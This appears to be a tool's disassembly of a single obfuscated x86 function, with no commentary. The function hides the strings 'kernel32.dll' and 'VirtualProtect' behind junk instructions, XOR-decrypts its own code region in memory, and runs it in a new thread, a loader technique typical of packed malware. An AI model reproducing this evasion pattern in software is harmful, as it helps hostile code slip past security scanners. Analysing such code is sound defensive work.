Function at 0x1f8046e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push edx
add esp, 4
popfd
call fcn.01f8087d
mov edx, edx
xchg edx, eax
xchg edx, eax
lea eax, [ebp - 0xd8]
mov ebx, ebx
pushfd
xor eax, 0x78f65da9
xor eax, 0x78f65da9
popfd
mov ebx, 0x61
pushfd
inc edi
dec edi
popfd
add bx, 0xa
xchg ebx, edi
xchg edi, ebx
xchg edi, edi
mov word [eax], bx
pushfd
push 0x8c1fe2ec
add esp, 4
popfd
sub bx, 6
pushfd
push edx
add esp, 4
popfd
xchg edx, ecx
xchg ecx, edx
mov word [eax + 2], bx
mov ebx, ebx
pushfd
push edx
add esp, 4
popfd
add bx, 0xd
push ebx
push edi
pop edi
pop ebx
mov word [eax + 4], bx
pushfd
inc edi
dec edi
popfd
pushfd
xor ecx, 0xfe540d44
xor ecx, 0xfe540d44
popfd
sub bx, 4
pushfd
inc eax
dec eax
popfd
mov word [eax + 6], bx
mov edx, edx
pushfd
inc ecx
dec ecx
popfd
sub bx, 9
nop
xchg esi, esi
mov word [eax + 8], bx
pushfd
push edi
add esp, 4
popfd
push eax
push edx
pop edx
pop eax
add bx, 7
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0xa], bx
push eax
pop eax
sub bx, 0x39
push eax
pop eax
mov edi, edi
mov word [eax + 0xc], bx
mov eax, eax
pushfd
push edi
add esp, 4
popfd
dec bx
xchg edi, ecx
xchg ecx, edi
mov word [eax + 0xe], bx
mov edi, edi
sub bx, 4
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0x10], bx
pushfd
push esi
add esp, 4
popfd
push eax
push ecx
pop ecx
pop eax
add bx, 0x36
push eax
pop eax
mov word [eax + 0x12], bx
pushfd
push ecx
add esp, 4
popfd
push ebx
pop ebx
add bx, 8
pushfd
xor ecx, 0x1bf2904a
xor ecx, 0x1bf2904a
popfd
mov eax, eax
mov word [eax + 0x14], bx
pushfd
xor eax, 0xc5162ad7
xor eax, 0xc5162ad7
popfd
pushfd
inc esi
dec esi
popfd
mov word [eax + 0x16], bx
push ecx
pop ecx
push esi
pop esi
mov word [eax + 0x18], 0
pushfd
push 0x770935b1
add esp, 4
popfd
xchg ebx, ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov ebx, ebx
mov dword [ebp - 0x10], eax
xchg edx, ecx
xchg ecx, edx
push eax
pop eax
lea eax, [ebp - 0xd8]
pushfd
xor edx, 0x732bbf1a
xor edx, 0x732bbf1a
popfd
pushfd
inc esi
dec esi
popfd
mov ebx, 0x61
xchg edx, edx
sub bl, 0xb
mov edx, edx
push edx
push eax
pop eax
pop edx
mov byte [eax], bl
pushfd
inc edi
dec edi
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0x13
pushfd
push 0xaf8425e0
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
add bl, 9
pushfd
push 0x640b62b0
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push 0xea0fa07e
add esp, 4
popfd
push edx
pop edx
add bl, 2
push esi
pop esi
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 3], bl
pushfd
xor esi, 0xff277f18
xor esi, 0xff277f18
popfd
inc bl
mov ecx, ecx
mov byte [eax + 4], bl
push edx
push ebx
pop ebx
pop edx
pushfd
xor ebx, 0x1788f3ed
xor ebx, 0x1788f3ed
popfd
sub bl, 0x14
push eax
pop eax
mov byte [eax + 5], bl
xchg edx, edx
add bl, 0xb
push eax
push ecx
pop ecx
pop eax
mov esi, esi
mov byte [eax + 6], bl
mov esi, esi
mov ecx, ecx
sub bl, 0x1c
pushfd
push 0x51090bc5
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
mov byte [eax + 7], bl
pushfd
inc eax
dec eax
popfd
pushfd
xor ebx, 0x61bb20db
xor ebx, 0x61bb20db
popfd
add bl, 0x22
push edx
push ecx
pop ecx
pop edx
mov byte [eax + 8], bl
push edx
pop edx
sub bl, 3
pushfd
inc eax
dec eax
popfd
pushfd
xor esi, 0xac38a144
xor esi, 0xac38a144
popfd
mov byte [eax + 9], bl
push eax
push ecx
pop ecx
pop eax
add bl, 5
xchg esi, esi
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0xa], bl
xchg ebx, ebx
pushfd
xor edx, 0x6bfe97a4
xor edx, 0x6bfe97a4
popfd
sub bl, 0xf
mov edi, edi
pushfd
xor ebx, 0x74ea26d1
xor ebx, 0x74ea26d1
popfd
mov byte [eax + 0xb], bl
pushfd
push edi
add esp, 4
popfd
pushfd
xor ecx, 0x3ed706fc
xor ecx, 0x3ed706fc
popfd
sub bl, 2
mov edi, edi
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xc], bl
pushfd
inc ebx
dec ebx
popfd
nop
add bl, 0x11
pushfd
inc edx
dec edx
popfd
xchg edi, eax
xchg edi, eax
mov byte [eax + 0xd], bl
push edi
pop edi
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xe], 0
push edi
push ebx
pop ebx
pop edi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor eax, 0x745cd1e
xor eax, 0x745cd1e
popfd
mov dword [ebp - 0xc], eax
mov edi, edi
lea eax, [ebp - 8]
pushfd
push 0x788fd336
add esp, 4
popfd
pushfd
xor esi, 0x4403aaef
xor esi, 0x4403aaef
popfd
push eax
push 4
push 0x3a2d02
push entry0
call dword [ebp - 0xc]
pushfd
push 0xa37bb7af
add esp, 4
popfd
mov edi, entry0
pushfd
inc edi
dec edi
popfd
push esi
pop esi
mov esi, 0x40100e
pushfd
inc ebx
dec ebx
popfd
xchg edx, edx
mov ecx, 0x3a2d02
xchg edx, ecx
xchg ecx, edx
nop
mov edx, 0xfefa9c8e
pushfd
push 0xbf1a8d0d
add esp, 4
popfd
push eax
pop eax
mov ebx, 0xd7ffffff
xchg ebx, edx
xchg edx, ebx
cld
nop
lodsb al, byte [esi]
nop
xor al, dl
mov ebx, ebx
stosb byte es:[edi], al
nop
ror edx, 5
mov edi, edi
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
mov esi, esi
je 0x1f807ec
mov ecx, ecx
add esi, 7
mov ebx, ebx
ror ebx, 1
xchg esi, esi
dec ecx
nop
test ecx, ecx
xchg ebx, ebx
jne 0x1f807c8
mov ecx, ecx
pushfd
push 0x43f3e98c
add esp, 4
popfd
lea eax, [ebp - 8]
xchg ecx, ecx
pushfd
inc ebx
dec ebx
popfd
push eax
push 0x20
push 0x3a2d02
push entry0
call dword [ebp - 0xc]
pushfd
inc ebx
dec ebx
popfd
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
push eax
add esp, 4
popfd
mov eax, eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x702f9574
add esp, 4
popfd
push esi
pop esi
xchg esi, edi
xchg edi, esi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
push esi
push ebx
pop ebx
pop esi
push edi
push eax
pop eax
pop edi
jmp 0x1f80850